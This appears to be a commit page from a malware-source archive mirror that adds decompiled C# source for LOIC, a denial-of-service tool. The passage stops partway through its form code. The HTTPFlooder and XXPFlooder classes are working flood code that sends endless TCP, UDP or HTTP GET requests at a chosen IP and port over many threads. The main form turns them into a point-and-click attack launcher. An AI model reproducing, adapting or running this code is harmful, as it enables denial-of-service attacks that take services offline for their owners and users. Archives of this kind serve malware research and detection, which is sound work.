mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-18 16:59:24 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTitle("Low Orbit Ion Cannon")]
|
||||
[assembly: AssemblyDescription("TCP/IP stress-test tool")]
|
||||
[assembly: AssemblyProduct("Low Orbit Ion Cannon")]
|
||||
[assembly: AssemblyCopyright("Public domain")]
|
||||
[assembly: NeutralResourcesLanguage("en-US")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")]
|
||||
[assembly: AssemblyVersion("1.0.6.0")]
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.HTTPFlooder
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal class HTTPFlooder : IFlooder
|
||||
{
|
||||
private long lastAction;
|
||||
private Random random = new Random();
|
||||
private System.Windows.Forms.Timer tTimepoll = new System.Windows.Forms.Timer();
|
||||
|
||||
public HTTPFlooder(string ip, int port, string subSite, bool resp, int delay, int timeout)
|
||||
{
|
||||
this.IP = ip;
|
||||
this.Port = port;
|
||||
this.Subsite = subSite;
|
||||
this.Resp = resp;
|
||||
this.Delay = delay;
|
||||
this.Timeout = timeout;
|
||||
}
|
||||
|
||||
public int Delay { get; set; }
|
||||
|
||||
public int Downloaded { get; set; }
|
||||
|
||||
public int Requested { get; set; }
|
||||
|
||||
public int Failed { get; set; }
|
||||
|
||||
public bool IsFlooding { get; set; }
|
||||
|
||||
public string IP { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public bool Resp { get; set; }
|
||||
|
||||
public ReqState State { get; set; }
|
||||
|
||||
public string Subsite { get; set; }
|
||||
|
||||
public int Timeout { get; set; }
|
||||
|
||||
public void Start()
|
||||
{
|
||||
this.IsFlooding = true;
|
||||
this.lastAction = HTTPFlooder.Tick();
|
||||
this.tTimepoll = new System.Windows.Forms.Timer();
|
||||
this.tTimepoll.Tick += new EventHandler(this.tTimepoll_Tick);
|
||||
this.tTimepoll.Start();
|
||||
BackgroundWorker backgroundWorker = new BackgroundWorker();
|
||||
backgroundWorker.DoWork += new DoWorkEventHandler(this.bw_DoWork);
|
||||
backgroundWorker.RunWorkerAsync();
|
||||
}
|
||||
|
||||
private static long Tick() => DateTime.Now.Ticks / 10000L;
|
||||
|
||||
private void bw_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.ASCII.GetBytes(string.Format("GET {0} HTTP/1.0{1}{1}{1}", (object) this.Subsite, (object) Environment.NewLine));
|
||||
IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(this.IP), this.Port);
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
this.State = ReqState.Ready;
|
||||
this.lastAction = HTTPFlooder.Tick();
|
||||
byte[] buffer = new byte[64];
|
||||
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
this.State = ReqState.Connecting;
|
||||
socket.Connect((EndPoint) remoteEP);
|
||||
socket.Blocking = this.Resp;
|
||||
this.State = ReqState.Requesting;
|
||||
socket.Send(bytes, SocketFlags.None);
|
||||
this.State = ReqState.Downloading;
|
||||
++this.Requested;
|
||||
if (this.Resp)
|
||||
socket.Receive(buffer, 64, SocketFlags.None);
|
||||
this.State = ReqState.Completed;
|
||||
++this.Downloaded;
|
||||
this.tTimepoll.Stop();
|
||||
if (this.Delay > 0)
|
||||
Thread.Sleep(this.Delay);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
this.IsFlooding = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void tTimepoll_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (HTTPFlooder.Tick() <= this.lastAction + (long) this.Timeout)
|
||||
return;
|
||||
this.IsFlooding = false;
|
||||
++this.Failed;
|
||||
this.State = ReqState.Failed;
|
||||
}
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>LOIC</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
<ApplicationVersion>1.0.6.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<RootNamespace>LOIC</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="IFlooder.cs" />
|
||||
<Compile Include="ReqState.cs" />
|
||||
<Compile Include="frmMain.cs" />
|
||||
<Compile Include="frmWtf.cs" />
|
||||
<Compile Include="HTTPFlooder.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="XXPFlooder.cs" />
|
||||
<Compile Include="Properties\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="frmMain.resx" />
|
||||
<EmbeddedResource Include="frmWtf.resx" />
|
||||
<EmbeddedResource Include="Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LOIC", "HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.csproj", "{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{5E73DB79-9AB3-4907-85D1-42A67A9B2C8E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.IFlooder
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal interface IFlooder
|
||||
{
|
||||
int Delay { get; set; }
|
||||
|
||||
bool IsFlooding { get; set; }
|
||||
|
||||
void Start();
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.Program
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal static class Program
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run((Form) new frmMain());
|
||||
}
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.Properties.Resources
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace LOIC.Properties
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) LOIC.Properties.Resources.resourceMan, (object) null))
|
||||
LOIC.Properties.Resources.resourceMan = new ResourceManager("LOIC.Properties.Resources", typeof (LOIC.Properties.Resources).Assembly);
|
||||
return LOIC.Properties.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => LOIC.Properties.Resources.resourceCulture;
|
||||
set => LOIC.Properties.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static Bitmap LOIC => (Bitmap) LOIC.Properties.Resources.ResourceManager.GetObject(nameof (LOIC), LOIC.Properties.Resources.resourceCulture);
|
||||
|
||||
internal static Bitmap WTF => (Bitmap) LOIC.Properties.Resources.ResourceManager.GetObject(nameof (WTF), LOIC.Properties.Resources.resourceCulture);
|
||||
}
|
||||
}
|
||||
+126
File diff suppressed because one or more lines are too long
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.ReqState
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
public enum ReqState
|
||||
{
|
||||
Ready,
|
||||
Connecting,
|
||||
Requesting,
|
||||
Downloading,
|
||||
Completed,
|
||||
Failed,
|
||||
}
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.XXPFlooder
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using System.ComponentModel;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
internal class XXPFlooder : IFlooder
|
||||
{
|
||||
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data)
|
||||
{
|
||||
this.IP = ip;
|
||||
this.Port = port;
|
||||
this.Protocol = proto;
|
||||
this.Delay = delay;
|
||||
this.Resp = resp;
|
||||
this.Data = data;
|
||||
}
|
||||
|
||||
public bool IsFlooding { get; set; }
|
||||
|
||||
public int FloodCount { get; set; }
|
||||
|
||||
public string IP { get; set; }
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public int Protocol { get; set; }
|
||||
|
||||
public int Delay { get; set; }
|
||||
|
||||
public bool Resp { get; set; }
|
||||
|
||||
public string Data { get; set; }
|
||||
|
||||
public void Start()
|
||||
{
|
||||
this.IsFlooding = true;
|
||||
BackgroundWorker backgroundWorker = new BackgroundWorker();
|
||||
backgroundWorker.DoWork += new DoWorkEventHandler(this.bw_DoWork);
|
||||
backgroundWorker.RunWorkerAsync();
|
||||
}
|
||||
|
||||
private void bw_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] bytes = Encoding.ASCII.GetBytes(this.Data);
|
||||
IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(this.IP), this.Port);
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
if (this.Protocol == 1)
|
||||
{
|
||||
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
Blocking = this.Resp
|
||||
};
|
||||
socket.Connect((EndPoint) remoteEP);
|
||||
try
|
||||
{
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
++this.FloodCount;
|
||||
socket.Send(bytes);
|
||||
if (this.Delay > 0)
|
||||
Thread.Sleep(this.Delay);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (this.Protocol == 2)
|
||||
{
|
||||
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
|
||||
{
|
||||
Blocking = this.Resp
|
||||
};
|
||||
try
|
||||
{
|
||||
while (this.IsFlooding)
|
||||
{
|
||||
++this.FloodCount;
|
||||
socket.SendTo(bytes, SocketFlags.None, (EndPoint) remoteEP);
|
||||
if (this.Delay > 0)
|
||||
Thread.Sleep(this.Delay);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+786
@@ -0,0 +1,786 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: LOIC.frmMain
|
||||
// Assembly: LOIC, Version=1.0.6.0, Culture=neutral, PublicKeyToken=054abc0e0ef9de83
|
||||
// MVID: 7AC305AB-446C-4C63-AD73-EDE805EB60DD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.MSIL.Loic.bj-1d5fc634f976dc3c3f339e46365af78940cb1f49caa46e76e70f7c6ce8dad089.exe
|
||||
|
||||
using LOIC.Properties;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace LOIC
|
||||
{
|
||||
public class frmMain : Form
|
||||
{
|
||||
private bool attack;
|
||||
private static IFlooder[] arr;
|
||||
private static string sIP;
|
||||
private static string sData;
|
||||
private static string sSubsite;
|
||||
private static int iPort;
|
||||
private static int iThreads;
|
||||
private static int iProtocol;
|
||||
private static int iDelay;
|
||||
private static int iTimeout;
|
||||
private static bool bResp;
|
||||
private static bool intShowStats;
|
||||
private IContainer components;
|
||||
private GroupBox groupBox1;
|
||||
private Button cmdTargetURL;
|
||||
private TextBox txtTargetURL;
|
||||
private Label label2;
|
||||
private Button cmdTargetIP;
|
||||
private TextBox txtTargetIP;
|
||||
private Label label1;
|
||||
private GroupBox groupBox2;
|
||||
private TextBox txtTarget;
|
||||
private Label label5;
|
||||
private Label label3;
|
||||
private GroupBox groupBox3;
|
||||
private TextBox txtPort;
|
||||
private TextBox txtThreads;
|
||||
private ComboBox cbMethod;
|
||||
private TextBox txtTimeout;
|
||||
private Label label10;
|
||||
private GroupBox groupBox4;
|
||||
private Button cmdAttack;
|
||||
private Label label11;
|
||||
private GroupBox groupBox5;
|
||||
private Label label22;
|
||||
private Label label23;
|
||||
private Label lbDownloaded;
|
||||
private Label lbDownloading;
|
||||
private Label lbRequesting;
|
||||
private Label lbConnecting;
|
||||
private Label lbIdle;
|
||||
private Label label12;
|
||||
private Label label13;
|
||||
private Label label14;
|
||||
private Label label15;
|
||||
private Label label16;
|
||||
private Label lbFailed;
|
||||
private Label lbRequested;
|
||||
private TextBox txtSubsite;
|
||||
private ToolTip TTip;
|
||||
private TextBox txtData;
|
||||
private System.Windows.Forms.Timer tShowStats;
|
||||
private Label label19;
|
||||
private Label label7;
|
||||
private Label label4;
|
||||
private Label label6;
|
||||
private Label label20;
|
||||
private CheckBox chkResp;
|
||||
private TrackBar tbSpeed;
|
||||
private Label label18;
|
||||
private Label label17;
|
||||
private Label label9;
|
||||
private Label label21;
|
||||
private PictureBox pBanner;
|
||||
|
||||
public frmMain() => this.InitializeComponent();
|
||||
|
||||
private void frmMain_Load(object sender, EventArgs e) => this.Text = string.Format("{0} | When harpoons, air strikes and nukes fails | v. {1}", (object) Application.ProductName, (object) Application.ProductVersion);
|
||||
|
||||
private void cmdTargetURL_Click(object sender, EventArgs e)
|
||||
{
|
||||
string uriString = this.txtTargetURL.Text.ToLower();
|
||||
if (uriString.Length == 0)
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show("A URL is fine too...", "What the shit.");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (uriString.StartsWith("https://"))
|
||||
uriString = uriString.Replace("https://", "http://");
|
||||
else if (!uriString.StartsWith("http://"))
|
||||
uriString = "http://" + uriString;
|
||||
try
|
||||
{
|
||||
this.txtTarget.Text = ((IEnumerable<IPAddress>) Dns.GetHostEntry(new Uri(uriString).Host).AddressList).Single<IPAddress>().ToString();
|
||||
}
|
||||
catch
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show("Write the complete address", "What the shit.");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void cmdTargetIP_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.txtTargetIP.Text.Length == 0)
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show("I think you forgot the IP.", "What the shit.");
|
||||
}
|
||||
}
|
||||
else
|
||||
this.txtTarget.Text = this.txtTargetIP.Text;
|
||||
}
|
||||
|
||||
private void txtTarget_Enter(object sender, EventArgs e) => this.cmdAttack.Focus();
|
||||
|
||||
private void cmdAttack_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.attack)
|
||||
{
|
||||
this.attack = true;
|
||||
try
|
||||
{
|
||||
frmMain.sIP = this.txtTarget.Text;
|
||||
if (!int.TryParse(this.txtPort.Text, out frmMain.iPort))
|
||||
throw new Exception("I don't think ports are supposed to be written like THAT.");
|
||||
if (!int.TryParse(this.txtThreads.Text, out frmMain.iThreads))
|
||||
throw new Exception("What on earth made you put THAT in the threads field?");
|
||||
if (string.IsNullOrEmpty(this.txtTarget.Text) || string.Equals(this.txtTarget.Text, "N O N E !"))
|
||||
throw new Exception("Select a target.");
|
||||
frmMain.iProtocol = 0;
|
||||
if (string.Equals(this.cbMethod.Text, "TCP"))
|
||||
frmMain.iProtocol = 1;
|
||||
if (string.Equals(this.cbMethod.Text, "UDP"))
|
||||
frmMain.iProtocol = 2;
|
||||
if (string.Equals(this.cbMethod.Text, "HTTP"))
|
||||
frmMain.iProtocol = 3;
|
||||
if (frmMain.iProtocol == 0)
|
||||
throw new Exception("Select a proper attack method.");
|
||||
frmMain.sData = this.txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
|
||||
if (string.IsNullOrEmpty(frmMain.sData) && (frmMain.iProtocol == 1 || frmMain.iProtocol == 2))
|
||||
throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
|
||||
if (!this.txtSubsite.Text.StartsWith("/") && frmMain.iProtocol == 3)
|
||||
throw new Exception("You have to enter a subsite (for example \"/\")");
|
||||
frmMain.sSubsite = this.txtSubsite.Text;
|
||||
if (!int.TryParse(this.txtTimeout.Text, out frmMain.iTimeout))
|
||||
throw new Exception("What's up with something like that in the timeout box? =S");
|
||||
frmMain.bResp = this.chkResp.Checked;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
using (frmWtf frmWtf = new frmWtf())
|
||||
{
|
||||
frmWtf.Show();
|
||||
int num = (int) MessageBox.Show(ex.Message, "What the shit.");
|
||||
}
|
||||
this.attack = false;
|
||||
return;
|
||||
}
|
||||
this.cmdAttack.Text = "Stop flooding";
|
||||
switch (frmMain.iProtocol)
|
||||
{
|
||||
case 1:
|
||||
case 2:
|
||||
frmMain.arr = (IFlooder[]) new XXPFlooder[frmMain.iThreads];
|
||||
for (int index = 0; index < frmMain.arr.Length; ++index)
|
||||
{
|
||||
frmMain.arr[index] = (IFlooder) new XXPFlooder(frmMain.sIP, frmMain.iPort, frmMain.iProtocol, frmMain.iDelay, frmMain.bResp, frmMain.sData);
|
||||
frmMain.arr[index].Start();
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
frmMain.arr = (IFlooder[]) new HTTPFlooder[frmMain.iThreads];
|
||||
for (int index = 0; index < frmMain.arr.Length; ++index)
|
||||
{
|
||||
frmMain.arr[index] = (IFlooder) new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout);
|
||||
frmMain.arr[index].Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
this.tShowStats.Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
this.attack = false;
|
||||
this.cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
|
||||
this.tShowStats.Stop();
|
||||
frmMain.arr = (IFlooder[]) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void tShowStats_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (frmMain.intShowStats)
|
||||
return;
|
||||
frmMain.intShowStats = true;
|
||||
bool flag = false;
|
||||
if (frmMain.iProtocol == 1 || frmMain.iProtocol == 2)
|
||||
this.lbRequested.Text = frmMain.arr.Cast<XXPFlooder>().Sum<XXPFlooder>((Func<XXPFlooder, int>) (f => f.FloodCount)).ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
if (frmMain.iProtocol == 3)
|
||||
{
|
||||
int num1 = 0;
|
||||
int num2 = 0;
|
||||
int num3 = 0;
|
||||
int num4 = 0;
|
||||
int num5 = 0;
|
||||
int num6 = 0;
|
||||
int num7 = 0;
|
||||
for (int index = 0; index < frmMain.arr.Length; ++index)
|
||||
{
|
||||
HTTPFlooder httpFlooder1 = (HTTPFlooder) frmMain.arr[index];
|
||||
num5 += httpFlooder1.Downloaded;
|
||||
num6 += httpFlooder1.Requested;
|
||||
num7 += httpFlooder1.Failed;
|
||||
switch (httpFlooder1.State)
|
||||
{
|
||||
case ReqState.Ready:
|
||||
case ReqState.Completed:
|
||||
++num1;
|
||||
break;
|
||||
case ReqState.Connecting:
|
||||
++num2;
|
||||
break;
|
||||
case ReqState.Requesting:
|
||||
++num3;
|
||||
break;
|
||||
case ReqState.Downloading:
|
||||
++num4;
|
||||
break;
|
||||
}
|
||||
if (flag && !httpFlooder1.IsFlooding)
|
||||
{
|
||||
int downloaded = httpFlooder1.Downloaded;
|
||||
int requested = httpFlooder1.Requested;
|
||||
int failed = httpFlooder1.Failed;
|
||||
HTTPFlooder httpFlooder2 = new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout)
|
||||
{
|
||||
Downloaded = downloaded,
|
||||
Requested = requested,
|
||||
Failed = failed
|
||||
};
|
||||
httpFlooder2.Start();
|
||||
frmMain.arr[index] = (IFlooder) httpFlooder2;
|
||||
}
|
||||
}
|
||||
this.lbFailed.Text = num7.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbRequested.Text = num6.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbDownloaded.Text = num5.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbDownloading.Text = num4.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbRequesting.Text = num3.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbConnecting.Text = num2.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
this.lbIdle.Text = num1.ToString((IFormatProvider) CultureInfo.InvariantCulture);
|
||||
}
|
||||
frmMain.intShowStats = false;
|
||||
}
|
||||
|
||||
private void tbSpeed_ValueChanged(object sender, EventArgs e)
|
||||
{
|
||||
frmMain.iDelay = this.tbSpeed.Value;
|
||||
if (frmMain.arr == null)
|
||||
return;
|
||||
foreach (IFlooder flooder in frmMain.arr)
|
||||
flooder.Delay = frmMain.iDelay;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new Container();
|
||||
this.groupBox1 = new GroupBox();
|
||||
this.label2 = new Label();
|
||||
this.cmdTargetIP = new Button();
|
||||
this.txtTargetIP = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.cmdTargetURL = new Button();
|
||||
this.txtTargetURL = new TextBox();
|
||||
this.groupBox2 = new GroupBox();
|
||||
this.txtTarget = new TextBox();
|
||||
this.label5 = new Label();
|
||||
this.label3 = new Label();
|
||||
this.groupBox3 = new GroupBox();
|
||||
this.label21 = new Label();
|
||||
this.label18 = new Label();
|
||||
this.label17 = new Label();
|
||||
this.label9 = new Label();
|
||||
this.label7 = new Label();
|
||||
this.label4 = new Label();
|
||||
this.label6 = new Label();
|
||||
this.label20 = new Label();
|
||||
this.chkResp = new CheckBox();
|
||||
this.txtData = new TextBox();
|
||||
this.txtSubsite = new TextBox();
|
||||
this.txtTimeout = new TextBox();
|
||||
this.txtThreads = new TextBox();
|
||||
this.cbMethod = new ComboBox();
|
||||
this.txtPort = new TextBox();
|
||||
this.tbSpeed = new TrackBar();
|
||||
this.label10 = new Label();
|
||||
